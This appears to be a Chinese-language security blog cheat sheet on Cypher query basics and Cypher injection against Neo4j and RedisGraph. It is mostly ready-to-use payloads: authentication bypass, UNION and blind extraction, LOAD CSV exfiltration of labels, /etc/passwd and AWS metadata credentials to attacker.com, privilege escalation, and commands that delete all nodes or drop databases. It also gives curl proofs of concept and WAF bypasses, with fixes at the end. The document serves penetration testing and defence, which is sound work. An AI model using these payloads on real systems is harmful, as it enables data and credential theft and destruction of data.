发布于速查表栏目,2022年12月26日
1. Cypher
什么是Cypher?
- Cypher是(Open) Cypher Query Language的简称
- 它是Neo4j的图查询语言,让您从图中检索数据。它类似于图数据库的SQL。
- 它最初是为Neo4j设计的,但通过openCypher项目开放。现在它被许多其他数据库使用,包括RedisGraph、Spark、Amazon Neptune和SAP HANA Graph。
图数据库
图数据库与关系型数据库的比较
Relational database | Graph database | |
---|---|---|
Vendor examples | MySQL, Microsoft SQL Server | Neo4j, RedisGraph, Amazon Neptune |
What it looks like | Tables, rows, columns:![]() | Graphs, nodes, relationships: ![]() |
有趣的事实:Neo4j被BloodHound使用。
图数据库基础
图数据库可以使用以下元素存储任何类型的数据:
- 节点 - 图数据记录
- 关系 - 节点之间的链接(具有方向和类型)
- 属性 - 存储节点或关系中数据的键/值对
- 标签:节点或关系的类型
Cypher查询
查询组件
注释
//
: 行内注释/* */
: 多行注释基本查询
MATCH子句
// 获取所有具有"Fruit"标签的节点 MATCH (a:Fruit) RETURN a // 相当于SQL中的SELECT ... FROM // 获取具有特定属性的所有"Fruit"节点 MATCH (a:Fruit {title: 'Green Apple'}) RETURN a MATCH (a:Fruit) WHERE a.title = "Green Apple" RETURN a // 限制结果数量 MATCH (a:Fruit) RETURN a LIMIT 20 // 对结果排序 MATCH (a:Fruit) RETURN a ORDER BY title
CREATE子句
// 创建单个节点 CREATE (n) // 创建多个节点 CREATE (n), (m) // 创建带标签的节点 CREATE (n:Person) // 创建带多个标签的节点 CREATE (n:Person:Swedish) // 创建节点并添加标签和属性 CREATE (n:Person {name: 'Andy', title: 'Developer'}) // 返回创建的节点 CREATE (a {name: 'Andy'}) RETURN a.name // 创建节点并设置属性 CREATE (n:Account) SET n.id=1, n.username="admin",n.password="password123" RETURN n
获取数据库和节点信息
检索标签
检索图中的所有标签并删除重复项:
MATCH (a) return DISTINCT labels(a)
或
CALL db.labels()
或
CALL db.labels() YIELD label
或
CALL db.labels() YIELD label AS x
关于YIELD
YIELD
允许您选择返回哪些可用的结果字段(此处为label
),并将它们存储在一个变量(x
)中,该变量可以被查询的其余部分使用。使用变量并不是必需的。这种语法也是有效的(我不确定为什么):
CALL db.labels() YIELD label RETURN count(label) // 等同于 CALL db.labels() YIELD label AS x RETURN count(x)
检索标签的属性
MATCH (c) WHERE c.name = 'Spongebob' RETURN keys(c) // 删除重复项 MATCH (c:Character) RETURN DISTINCT keys(c)
列出数据库
SHOW databases
转储数据库中的所有节点
USE myDatabase // 选择要查询的数据库 MATCH (n) RETURN n
列出当前用户
SHOW CURRENT USER
列出所有用户
SHOW USERS
列出可用的过程
SHOW procedures // 或 CALL dbms.procedures()
列出可用的函数
CALL dbms.functions()
列出用户角色
// 切换到系统数据库,然后列出角色 USE system CALL dbms.security.listRoles()
有用的函数
collect()
collect()
收集所有值并在单个列表中返回它们(对数据窃取有用):MATCH (c:Character) RETURN collect(c.name) // 返回: // ["Squidward", "Mr.Crabs", "Spongebob", "Sandy", "Patrick"]
split()
split()
使用分隔符将字符串拆分为字符串列表:RETURN split('one,two', ',') // 返回: // ["one","two"]
在一条语句中执行多个查询
子句组合
Cypher查询由多个链接在一起的子句组成,例如:
MATCH (john:Person {name: 'John'})
MATCH (john)-[:FRIEND]->(friend)
RETURN friend.name AS friendName
根据Cypher规范:
另一种理解子句的方式是将它们视为函数链:本质上,每个子句都是一个函数,它接受一个表作为输入,并返回一个表作为输出。因此,整个查询是这些"函数"的组合。
这使得在后面利用Cypher注入时,可以在一条语句中链接多个子句。
例如,如果我们可以注入到MATCH ... WHERE ... RETURN
查询中,我们将能够添加CALL
和LOAD CSV FROM
子句:
MATCH ...
WHERE ...
CALL ... YIELD ...
LOAD CSV FROM ...
RETURN ...
(这里是完整示例)
UNION子句
- Cypher的
UNION
子句将两个或多个查询的结果合并成一个结果集(包括属于联合中所有查询的所有记录) - 但所有查询必须具有相同的返回名称和相同数量的返回列
- 如果组合的查询返回不同类型的数据(例如字符串和数字),这不是问题
- 使用
UNION
合并查询并删除重复项,使用UNION ALL
保留重复项
MATCH (n:Person)
RETURN n.name
UNION
MATCH (n:Book)
RETURN n.title
或
// 使用相同的别名
MATCH (n:Person)
RETURN n.name AS name
UNION
MATCH (b:Book)
RETURN b.title AS name
错误的语法:
// 不允许
MATCH (p:Person)
RETURN p.name
UNION
MATCH (b:Book)
RETURN b.title
WITH子句
WITH
子句允许您链接(或管道)查询,即将一个查询的输出链接到另一个查询。
例如,用ORDER BY
子句跟进MATCH
子句:
MATCH (c)
WITH c
ORDER BY c.Character DESC
LIMIT 3
RETURN collect(c.name)
// 例如输出
// │["Mr.Crabs","Spongebob","Squidward"]│
这对Cypher注入很有用,可以跳出初始查询。
CALL {} 子查询
CALL
可用于调用过程(例如CALL db.labels()
)或子查询,即查询内的其他查询。
LOAD CSV
LOAD CSV用于从本地或远程CSV文件导入数据:
// 导入本地文件
LOAD CSV FROM 'file:///users.csv' AS line RETURN line
// 导入远程文件
LOAD CSV FROM https://domain.com/data.csv AS line RETURN line
请注意,它实际上不必是CSV文件,这使得SSRF成为可能:
LOAD CSV FROM 'file:///etc/passwd' AS line RETURN line
LOAD CSV FROM "https://attacker.com" AS line RETURN line
LOAD CSV
支持HTTPS
、HTTP
、FTP
和file:///
。它会跟随重定向,但不会跟随改变协议的重定向(例如从HTTPS
到HTTP
)。
APOC库
apoc.load.json()
用于导入本地或远程JSON文件:
// 本地文件
CALL apoc.load.json("file:///person.json")
YIELD value
RETURN value
// 远程文件
CALL apoc.load.json("https://domain.com/data.json")
YIELD value
RETURN value
列出可用的APOC过程:
CALL apoc.help('apoc')
条件语句
这对于利用基于布尔和基于时间的Cypher注入非常有用。
CASE表达式
CASE
结构用于创建条件语句,例如:
MATCH (n:Movie)
RETURN
CASE n.title
WHEN 'The Matrix Reloaded' THEN 1
WHEN 'The Matrix Revolutions' THEN 2
ELSE 3
END AS result
LIMIT 5
APOC的WHEN和CASE过程
APOC还支持条件执行过程。
更多内容
什么是Cypher注入?
根据Neo4j:
Cypher注入是一种恶意格式化输入跳出其上下文的方式,通过改变查询本身,劫持查询并在数据库上执行意外操作。
这是SQL注入的近亲,但影响我们的Cypher查询语言。
类型
我没有找到Cypher注入攻击的分类,但基于SQL注入的类型,它们也可以是:
带内:用于注入恶意Cypher代码和查看结果的同一通道
- 基于错误:使数据库产生错误消息以了解其结构并构建有效载荷
推断型(盲注):不返回错误,但可以分析响应以从应用程序的行为中推断信息
- 基于布尔:使用条件并寻找行为差异来推断信息
- 基于时间:使应用程序睡眠几秒钟,测量响应并推断数据
- 带外(盲注):将Cypher查询的数据和结果窃取到外部服务器
注意:
- 基于联合的注入(在我看来)不适用,因为没有SQL表的概念。Cypher确实有UNION子句,但它的工作方式不同。
基于时间的注入默认不可用。它需要安装APOC
- Cypher没有睡眠函数,但APOC有:
apoc.util.sleep()
示例:简单的带内注入
- Cypher没有睡眠函数,但APOC有:
易受攻击的查询
// NodeJS应用中的Neo4j查询
executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")
有效载荷
Spongebob' or 1=1 RETURN c//
最终查询
executeQuery("MATCH (c:Character) WHERE c.name = 'Spongebob' or 1=1 RETURN c//' RETURN c")
执行的是:
MATCH (c:Character)
WHERE c.name = 'Spongebob' or 1=1 RETURN c//' RETURN c
返回所有节点。
示例:使用UNION的带内注入
来源:The Cypher Injection Saga
易受攻击的请求GET /show/id?id=42
原始查询
MATCH (a:Person)
WHERE id(a) = 42
RETURN a
其中id
值(这里是42
,通过id
GET参数传递)是攻击者可控的。
有效载荷1
42 RETURN 1 AS a UNION CALL db.labels() YIELD label AS a
最终查询
MATCH (a:Person)
WHERE id(a) = 42
RETURN 1 AS a
UNION CALL db.labels() YIELD label AS a
RETURN a
注意,第一个查询返回数字,而第二个返回字符串,这在Cypher中不是问题。
有效载荷2
42 RETURN 1 AS a UNION MATCH(b) RETURN DISTINCT labels(b) AS a //
最终查询
MATCH (a:Person)
WHERE id(a) = 42
RETURN 1 AS a
UNION MATCH(b)
RETURN DISTINCT labels(b) AS a
//RETURN a
示例:带外注入
同一示例但不同的利用方法:
易受攻击的请求GET /show/id?id=42
原始查询
MATCH (p:Person)
WHERE id(p) = 42
RETURN p
有效载荷
42
CALL db.labels() YIELD label
LOAD CSV FROM 'https://attacker.com/' + label AS r
最终查询
MATCH (p:Person)
WHERE id(p) = 42
CALL db.labels() YIELD label
LOAD CSV FROM 'https://attacker.com/' + label AS r
RETURN p
3. 测试方法(针对Neo4j)
从哪里查找
- 任何可能在数据库中处理的用户控制输入。
注意以下内容:
- 数字ID
- 登录表单
- REST API端点
构建有效载荷的技巧
使用Neo4j浏览器或Neo4j桌面版
使用Neo4j浏览器或Neo4j桌面版在您控制的数据库(例如cypher-playground)上确保您的有效载荷能按预期工作,并且语法正确。
注入上下文
根据注入上下文,您可能需要结束正在注入的字符串或查询,以跳出它。例如:
'
"
'})
它也可能更复杂且特定于目标,如本漏洞赏金报告所示:
.*' | o ] AS filteredOrganisations
"WITH x as Y"技巧
如果要注入到CREATE
子句中,请使用类似WITH 1337 AS y
的方式跳出它:
原始查询
CREATE (n:Person) SET n.name="test" RETURN n
有效载荷
test" WITH 1337 AS y MATCH (n) DETACH DELETE n//
最终查询
MATCH (n) WHERE n.id=1337 WITH 1337 AS dummy MATCH (n) DETACH DELETE n// RETURN n
行内注释
使用//
注释掉请求的其余部分。它允许消除限制结果的子句。
例如,LIMIT 0
表示不显示输出,但可以绕过:
原始查询
MATCH (n) WHERE n.is_active = USER_INPUT RETURN n LIMIT 0
有效载荷
1 OR 1=1 RETURN n//
最终查询
MATCH (n) WHERE n.is_active = 1 OR 1=1 RETURN n// RETURN n LIMIT 0
多行注释
使用/*
注释掉多行请求,例如:
原始查询
MATCH (u:User) WHERE u.name = ' + USER_INPUT + '
RETURN u LIMIT 5
有效载荷
' OR 1=1 RETURN u/*
最终查询
MATCH (u:User) WHERE u.name = '' OR 1=1 RETURN u/*'
RETURN u LIMIT 5 /*Only return 5 results*/
// 等同于:
MATCH (u:User) WHERE u.name = '' OR 1=1 RETURN u
限制:当您注入/*
时,多行注释将在查询中的第一个终止符(即*/
)处停止。
例如,这里无法消除LIMIT 0
:
// 原始查询
MATCH (u:User) WHERE u.name = ' + USER_INPUT + '
RETURN u /* second comment */ LIMIT 0 /* Do not display output */
注入' OR 1=1 RETURN u /*
后的最终查询:
MATCH (u:User) WHERE u.name = '' OR 1=1 RETURN u /*'
RETURN u /* second comment */ LIMIT 0 /* Do not display output */
复制粘贴
提醒一下,从其他地方复制粘贴有效载荷可能会添加不可见字符。
此外,Cypher查询通常会显示换行符以提高可读性。
因此,如果有效载荷应该有效但不起作用,请确保没有任何破坏有效载荷的不需要的字符。
检测方法
基于错误的检测
尝试使用以下载荷触发错误:
'
"
)
// 在前面添加字符串,如 `zxlck.`
\'
12/0 // 即 int/0
42-1 // 即 int-int
randomstring
1 or 1=1
' or 1=1
" or 1=1
' or '1'='1
" or "1"="1
...
Neo4jError 示例:
盲注数学运算
将参数中的数值更改为数学运算。
例如,如果 /profile?id=42
与 /profile?id=41%2b2-1
(载荷为 41+2-1
但经过 URL 编码)返回相同响应,则表明存在代码注入。
盲注基于布尔值
寻找响应中的差异:
' or 1=1 //
' or 1=0 //
" or "1"="1
" or "1"="2
" or True //
" or False //
...
带外交互
尝试向你的服务器发送带外 HTTP 请求:
LOAD CSV FROM 'https://attacker.com' AS b return b//
基于时间的
如果启用了 APOC,可以使用:
CALL apoc.util.sleep(10000)
示例
原始查询:
MATCH (n:User) WHERE n.name='Jane' RETURN n
载荷:
Jane' RETURN 1 UNION CALL apoc.util.sleep(10000) RETURN 1 //
最终查询:
MATCH (n:User) WHERE n.name='Jane' RETURN 1 UNION CALL apoc.util.sleep(10000) RETURN 1 //
利用方法
认证绕过
与通过 SQLi 绕过认证类似。尝试以下载荷:
1 OR 1=1
例如:
// 易受攻击的查询
MATCH (n) WHERE n.name = "admin" and n.password = {用户提供的输入} RETURN n LIMIT 0
// 最终查询
MATCH (n) WHERE n.name = "admin" and n.password = 1 OR 1=1 RETURN n LIMIT 0
泄露数据库中的标签和属性
为了构建有效的查询,我们需要知道数据库中存在哪些标签和属性。首先,尝试提取这些信息,如果它们没有在 HTTP 响应中返回,则将其泄露到我们的服务器。
带内注入
泄露标签:
CALL db.labels()
泄露标签的属性(这里是 Character
):
MATCH (c:Character) RETURN DISTINCT keys(c)
泄露属性的值(这里是 name
):
MATCH (c:Character) RETURN c.name
带外/盲注(使用 LOAD CSV)
LOAD CSV 用于导入本地或远程文件。 由于它向外部服务(我们可以定义)发送 GET 请求,因此可以将数据从数据库泄露到我们控制的服务器(基本上是内部 SSRF)。
泄露标签:
CALL db.labels() YIELD label
LOAD CSV FROM 'https://attacker.com/'+label
AS b RETURN b//
(每个标签都会发送一个 GET 请求)
泄露标签的属性(这里是 Character
)使用 APOC:
MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+apoc.text.join(keys(c), '')
AS b RETURN b//
泄露标签的属性(这里是 Character
)不使用 APOC:
// 第一个属性
MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+keys(c)[0]
AS b RETURN b//
// 第二个属性
MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+keys(c)[1]
AS b RETURN b//
泄露属性的值(这里是 name
):
MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+c.name
AS b RETURN b//
在不知道标签和属性的情况下泄露数据
即使无法泄露标签和属性,如果有一个告诉你返回变量名称的错误消息,仍然可以进行利用(真实示例)。
例如:泄露所有节点
易受攻击的查询:
// NodeJS 应用中的 Neo4j 查询
executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")
载荷:
// 替换 'c' 为你拥有的返回变量名
' or 1=1 RETURN c//
最终查询:
MATCH (c:Character)
WHERE c.name = '' or 1=1
RETURN c//' RETURN c
基于错误注入的 Date() 技巧
如果可以看到错误消息,将要转储的数据放在 Date()
函数内。
由于它将无法将其转换为日期,它会将接收到的参数(即您想要泄露的数据)作为错误输出:
MATCH (a:Movie)
RETURN a ORDER BY a.title,Date(keys(a))
通过基于布尔值的注入进行数据泄露
来自 Neo4j (Cypher graph query language) injection 的载荷:
属性(列)数量
MATCH (a)
RETURN size(keys(a))
LIMIT 1
属性长度
MATCH (a)
WHERE a.name = '' OR 4 = size('1234')
RETURN a
LIMIT 1
OR 4 = size('1234')
使条件为真,所以查询会返回 1 条记录。
将 4 = size('1234')
替换为 1 = size('1234')
不会返回记录。
第一个属性的长度
MATCH (a)
RETURN size(keys(a)[0])
LIMIT 1
If 条件
MATCH (a:Movie)
RETURN a
ORDER BY
CASE 'a'
WHEN 'b' THEN a.title
ELSE a.name
END
子字符串/字符
MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION
MATCH (b:Person)
RETURN substring(keys(b)[0],0,1) AS test//'
组合起来
MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION
MATCH (b:Person) RETURN
CASE substring(keys(b)[0],0,1)
WHEN "a" THEN 2
ELSE 3
END AS test//'
MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test UNION MATCH (b:Person) RETURN case substring(keys(b)[0],0,1) WHEN "n" THEN 2 ELSE 3 END AS test//'
MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION
MATCH (b:Person) RETURN
CASE size(keys(b)[0])
WHEN 1 THEN 2
ELSE 3
END AS test//'
MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION MATCH (b:Person) RETURN
CASE size(keys(b)[0])
WHEN 4 THEN 2
ELSE 3
END AS test//'
通过基于时间的注入进行数据泄露
我需要进一步研究以创建载荷。想法是结合 if 条件(类似于基于布尔值的注入)和 CALL apoc.util.sleep(10000)
来推断值。
SSRF
除了从数据库泄露数据外,我们还可以使用 LOAD CSV
进行内部 SSRF。
更准确地说,我们通过以下方式链接内部 SSRF 和外部 SSRF:
- 向内部服务发送请求
- 将输出存储在变量中
- 向您的服务器发送第二个请求并将变量中的数据附加到 URL(作为路径)
请注意,内部服务和图形数据库可以托管在不同的服务器上。
泄露内部资源响应
尝试加载内部网页或文件并将它们发送到您的服务器:
LOAD CSV FROM "http://169.254.169.254/latest/meta-data/iam/security-credentials/" AS x
LOAD CSV FROM "https://attacker.com/"+x[0] AS y
RETURN ''//
尝试访问各种内部资源:
- 敏感文件,例如
http://localhost:3030/internal-api/keys.txt
- 云元数据端点(例如 AWS 元数据服务)
- 任何内部端点,例如
https://192.168.1.1/admin
,http://localhost:8080
...
请注意:
- 即使 Neo4j 数据库和敏感文件托管在不同的服务器上,这也有效
- 文件类型无关紧要(不必是 CSV)
云中的横向移动
- 如果可以查询云元数据服务,尝试获取凭据并将攻击升级到其他机器。
- 但这仅在 IMDSv1 中有效。
- IMDSv2 要求通过 HTTP 请求头
X-aws-ec2-metadata-token
传递会话令牌,以允许查询 AWS 元数据服务。似乎没有办法在LOAD CSV
发送的 GET 请求中包含此令牌。
导出包含特殊字符的数据/响应
如果被泄露的数据(这部分:x[0]
)包含 URL 中不允许的字符(空格、单引号、双引号等),上述载荷将不起作用。 换句话说,LOAD CSV
不会自动对特殊字符进行 URL 编码。
例如,在 Neo4j 浏览器中运行此查询会返回错误(因为 a b c
中的空格):
LOAD CSV FROM 'https://challs2.free.beeceptor.com/'+'a b c' AS y
RETURN y
将 a b c
分割成列表并只外泄第一个元素(a
)可以正常工作:
LOAD CSV FROM 'https://challs2.free.beeceptor.com/'+split('a b c', ' ')[0] AS y
RETURN y
除了使用 split()
,还有 3 种潜在解决方案:
- URL 编码数据,例如使用
apoc.text.urlencode()
(没有找到不使用 APOC 的方法) 使用
collect()
(来自 Fun with Cypher Injections):LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[0] AS y LOAD CSV FROM 'http://attacker.com/'+y AS z RETURN '' LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[1] AS y LOAD CSV FROM 'http://attacker.com/'+y AS z RETURN ''
使用
UNWIND
(来自 Fun with Cypher Injections):LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[ITERATE WITH INCREMENTAL INTEGER] AS y LOAD CSV FROM 'http://XXX.burpcollaborator.net/'+y AS z RETURN ''
我尚未进一步研究这个问题。只是想提出在导出数据时可能出现的潜在问题。
任意文件读取
如果 Neo4j 数据库配置错误,将其"导入"目录设置为危险位置(如 /var/www/html
或 /
),您可以使用 LOAD CSV
读取其子目录中的任意文件。
泄露数据库"导入"目录的位置
// 在 Neo4j Desktop 1.5.6 上测试
CALL dbms.listConfig() YIELD name, value WHERE name='server.directories.import' RETURN value
在旧版本上,可能需要使用不同的名称,例如 Neo4j Desktop 1.3.11 中的 dbms.directories.import
而不是 server.directories.import
。
利用配置错误的数据库读取任意文件
例如,如果导入目录设置为 /
:
// 加载 /etc/passwd 并发送到您的服务器
LOAD CSV FROM 'file://etc/passwd'
AS x
LOAD CSV FROM "http://attacker.com/"+x[0]
AS y RETURN ''//
最终查询:
MATCH (n) WHERE n.id="1" OR 1=1 LOAD CSV FROM 'file://etc/passwd' AS x LOAD CSV FROM 'http://attacker.com/'+x[0] AS y RETURN ''// RETURN n
执行相同操作的另一个载荷:
' RETURN n UNION LOAD CSV FROM "file:///etc/passwd" AS n RESTURN n //
来源:Pentesting Cisco SD-WAN Part 1: Attacking vManage
覆盖 CREATE 子句中的值
来自 Fun with Cypher Injections 的权限提升示例
原始查询
创建一个普通(低权限)账户:
CREATE (n:Account)
SET n.id=1, n.username="admin",n.admin=False,n.password="{注入点}"
RETURN n
载荷
",n.admin=True RETURN n//
最终查询
CREATE (n:Account)
SET n.id=1, n.username="admin",n.admin=False,n.password="",n.admin=True RETURN n
//" RETURN n
我们将 n.admin
值覆盖为 True
,使创建的账户成为管理员。
拒绝服务
必须先阅读
本节中所有攻击的影响是服务器端拒绝服务,即删除数据库中的所有条目或删除数据库。
除非您有明确的书面许可测试拒绝服务,否则不要在真实目标上测试此类攻击。
这里仅为学习目的提及,帮助在漏洞报告中描述 Cypher 注入的潜在影响。
泄露并终止连接
获取所有连接 ID
CALL dbms.listConnections()
- 使用 LOAD CSV 将它们泄露到您的服务器
终止连接
CALL dbms.killConnection("bolt-9276") // 对于单个连接 CALL dbms.killConnections(["bolt-9276", "bolt-9273"]) // 对于多个连接
影响
- 这会终止服务器和数据库之间的连接(这不是客户端攻击)。
- 因此,使用自动化脚本,我们可以阻止合法用户的查询执行,导致 DoS。
但这取决于您注入时的角色和权限。如果您的角色是管理员,您可以通过使用 LOAD CSV 的简单注入执行此 DoS 攻击。
删除数据库
列出所有数据库
SHOW databases
- 使用 LOAD CSV 将它们的名称泄露到您的服务器
删除数据库
DROP database spongebob
删除节点
易受攻击的查询:
// NodeJS 应用中的 Neo4j 查询 executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")
载荷:
// 替换 'c' 为您拥有的返回变量名 ' DELETE c//
最终查询:
MATCH (c:Character) WHERE c.name = '' DELETE c//' RETURN c
删除所有节点
删除所有节点
易受攻击的查询:// NodeJS 应用中的 Neo4j 查询 executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")
载荷:
' MATCH (all) DETACH DELETE all//
必须使用
DETACH
删除关系,因为节点不能在不删除其关系的情况下被删除。
最终查询:MATCH (c:Character) WHERE c.name = '' MATCH (all) DETACH DELETE all//' RETURN c
删除所有具有标签的节点
载荷:' MATCH (all:Character) DETACH DELETE all//
WAF 绕过
空白被过滤
如果空白被过滤:
MATCH (n) RETURN n
用注释替换它们:
MATCH/**/(n)/**/RETURN/**/n
如果 /**/
也被过滤,使用 /*随机字符串*/
代替:
MATCH/*socmb*/(n)/*yaoekd*/RETURN/*pxras*/n
LOAD CSV 不起作用?尝试 APOC!
MATCH (c:Character)
CALL apoc.load.json("https://attacker.com/data.json?leaked="+c.name)
YIELD value RETURN value//
OOB 请求被阻止
假设您有盲 Cypher 注入,想要泄露内部端点/文件的内容,但对您服务器的请求被阻止(例如被 WAF)。
我没有尝试过,但 这篇文章 中有一个可能有效的想法:将您想要泄露的数据保存在数据库中,然后在应用程序中显示时读取它。
LOAD CSV FROM 'https://domain/file.csv' AS line
CREATE (:Artist {name: line[1], year: toInteger(line[2])})
我不确定这是否是作者的意思,但如果其他方法都不起作用,值得一试。
然而,请注意,这可能会快速扰乱数据库,因为对于使用 LOAD CSV
获取的页面中找到的每一行,都会执行一个 CREATE
子句。
4. RedisGraph 中的 Cypher 注入
- RedisGraph 是 Redis 的扩展,支持编写 Cypher 查询
- 支持 一些过程(例如
db.labels
) - 支持子字符串
没有 LOAD CSV 的等效项,但可以使用
CASE WHEN
进行 Cypher 注入(基于 if,使用OR 1=2
)- 例如,使用
db.labels
获取标签并检查第一个字母是否等于 'a'(使用OR 1=2
在盲注中获取结果)
- 例如,使用
- The supports parameterized queries
5. 影响
注入 Cypher 查询可能产生各种影响,包括:
- 能够泄露、删除和篡改存储在数据库中的数据
- 能够泄露数据库结构的信息(标签、属性等)以帮助构建载荷并执行其他攻击
SSRF 能够:
- 将数据从数据库泄露到您的服务器
- 使易受攻击的服务器向内部服务/服务器发送请求,枚举目录和文件,扫描开放端口等
- 读取这些请求的响应并将它们泄露到您的服务器
- 访问敏感的内部端点和文件
- 查询云元数据服务,有潜在的云横向移动可能
- 认证绕过
拒绝服务,意味着通过以下方式阻止访问数据库:
- 删除数据库
- 删除数据库中的所有条目(节点和关系)
- 终止(服务器端)数据库连接
任意文件读取在配置错误的 Neo4j 数据库中(将其"导入"目录设置为危险位置)
为什么 DoS 和 SSRF 基本上总是可能的?
在 SQL 注入中,初始子句限制了您可以做的事情。例如,如果是 SELECT 语句,将无法注入使其修改数据的载荷。
Cypher 没有这种限制。无论初始查询是什么,如果您可以注入其中,就可以添加新的子句(使用WITH x as Y
技巧)来删除数据、执行 SSRF 等。6. 修复和缓解措施
修复
使用参数化查询
// 不易受攻击(参数化查询) session.run("MATCH (c:Character) WHERE c.name = $name RETURN c", {name: name}) // 易受攻击(字符串与 Cyper 查询连接) session.run("MATCH (c:Character) WHERE c.name '" + name + "' + RETURN c)
缓解措施
- 使用 Neo4j 的 RBAC
- 在
neo4j.conf
中禁用/黑名单 Apoc 过程(如 LOAD、IMPORT、EXPORT...)(自 4.3 版本起可用) - 如果不使用 APOC,请卸载它
请注意,目前没有办法禁用LOAD CSV
(可以禁用函数但不能禁用子句),但 Neo4j 正在开发修复方案。
更多信息 Protecting against Cypher injection
7. 资源
文档
OpenCypher
- Cypher Query Language Reference, Version 9
- openCypher Resources
- Learn X in Y minutes Where X=cypher)
Neo4j - Neo4j's Cypher Query Language (Developer Guides)
- Neo4j Cypher Manual v5
- Neo4j Cypher Cheat Sheet
- APOC user guide for Neo4j v5
- Neo4j on Protecting against Cypher injection
Memgraph - The Complete Cypher Cheat Sheet
- Cypher Manual
RedisGraph - Cypher coverage
Amazon Neptune - openCypher Syntax Cheatsheet
Accessing the Neptune Graph with openCypher
文章和案例分析
- GitHub Security Lab audited DataHub: Here's what they found
- The most underrated injection of all time — CYPHER INJECTION. How I found and exploited it ? ($2,000)
- The Cypher Injection Saga
- PENTESTING CISCO SD-WAN PART 1: ATTACKING VMANAGE
工具
Cypher Injection Scanner 和 Burp Pro 扩展
文章
- Neo4j (Cypher graph query language) injection
- Fun with Cypher Injections
- Cypher Injection (Neo4j) Graph Databases
Neo4jection: Secrets, Data, and Cloud Exploits
视频
Cypher Query Injection - the new "SQL Injection"
实践
- Cypher Playground
CIWA - Cypher 注入 Web 应用(因为老旧且 Cypher Playground 基于它,所以没有使用)
8. 实践
Neo4j Desktop
安装
- 下载 Neo4j Desktop(需要创建一个免费账户)
- 按照这个指南用激活密钥注册它,并开始使用演示项目
按照这个指南启用 APOC(安装后需要重启 Neo4j Desktop)
使用 APOC
- 打开 Neo4j 浏览器(使用
load-movies.cypher
文件前面的"Open"按钮) 列出可用的 APOC 过程:
CALL apoc.help('apoc')
例如,要了解
apoc.text.join()
(上面用于泄露标签)的功能:MATCH (m:Movie) RETURN DISTINCT keys(m)
MATCH (m:Movie) RETURN DISTINCT apoc.text.join(keys(m), ',')
设置文件
查找 LOAD CSV 的"import"目录
打开 Neo4j Desktop。点击"Settings"并搜索directories.import
。例如:# 此设置限制所有 `LOAD CSV` 导入文件必须在 `import` 目录下。移除或注释掉此设置可以 # 允许从文件系统的任何位置加载文件;这会引入可能的安全问题。请参阅 # 手册的 `LOAD CSV` 部分了解详情。 server.directories.import=import
cypher-playground
安装
git clone https://github.com/noypearl/cypher-playground.git cd cypher-playground docker-compose up
访问
- Web 应用:http://localhost:3030/
- Swagger UI:http://localhost:8888
Neo4j 浏览器:http://localhost:7474/
- 数据库:
spongebob
- 用户名:
neo4j
- 密码:
hello
- 数据库:
包含所使用 Cypher 查询的文件:
注入示例
触发错误
载荷:
randomstring
PoC:
curl -X 'GET' 'http://localhost:3030/api/neo4j/places/id/randomstring' -H 'accept: application/json'
返回所有内容
载荷:
1 or 1=1
PoC:
curl -X 'GET' 'http://localhost:3030/api/neo4j/places/id/1%20or%201=1' -H 'accept: application/json'
泄露标签
载荷:
Spongebob' RETURN 1 as x UNION CALL db.labels() YIELD label AS x RETURN x//
PoC:
curl -X 'GET' "http://localhost:3030/api/neo4j/characters/name/Spongebob'%20RETURN%201%20as%20x%20UNION%20CALL%20db.labels()%20YIELD%20label%20AS%20x%20RETURN%20x%2f%2f" -H 'accept: application/json'
泄露 Character
标签的属性
载荷:
Spongebob' RETURN 1 as x UNION MATCH (c:Character) RETURN DISTINCT keys(c) AS x //
PoC:
curl -X 'GET' "http://localhost:3030/api/neo4j/characters/name/Spongebob'%20RETURN%201%20as%20x%20UNION%20MATCH%20(c%3aCharacter)%20RETURN%20DISTINCT%20keys(c)%20AS%20x%20%2f%2f" -H 'accept: application/json'
泄露 name
属性的值
载荷:
Spongebob' RETURN 1 as x UNION MATCH (c:Character) RETURN c.name AS x //
PoC:
curl -X 'GET' "http://localhost:3030/api/neo4j/characters/name/Spongebob'%20RETURN%201%20as%20x%20UNION%20MATCH%20(c%3aCharacter)%20RETURN%20c.name%20AS%20x%20%2f%2f" -H 'accept: application/json'
curl -X 'GET' \
'http://localhost:3030/api/neo4j/places/id/1%20or%201=1' \
-H 'accept: application/json'
1 CALL db.labels() YIELD label LOAD CSV FROM 'https://cypher.free.beeceptor.com/'+label AS b RETURN b//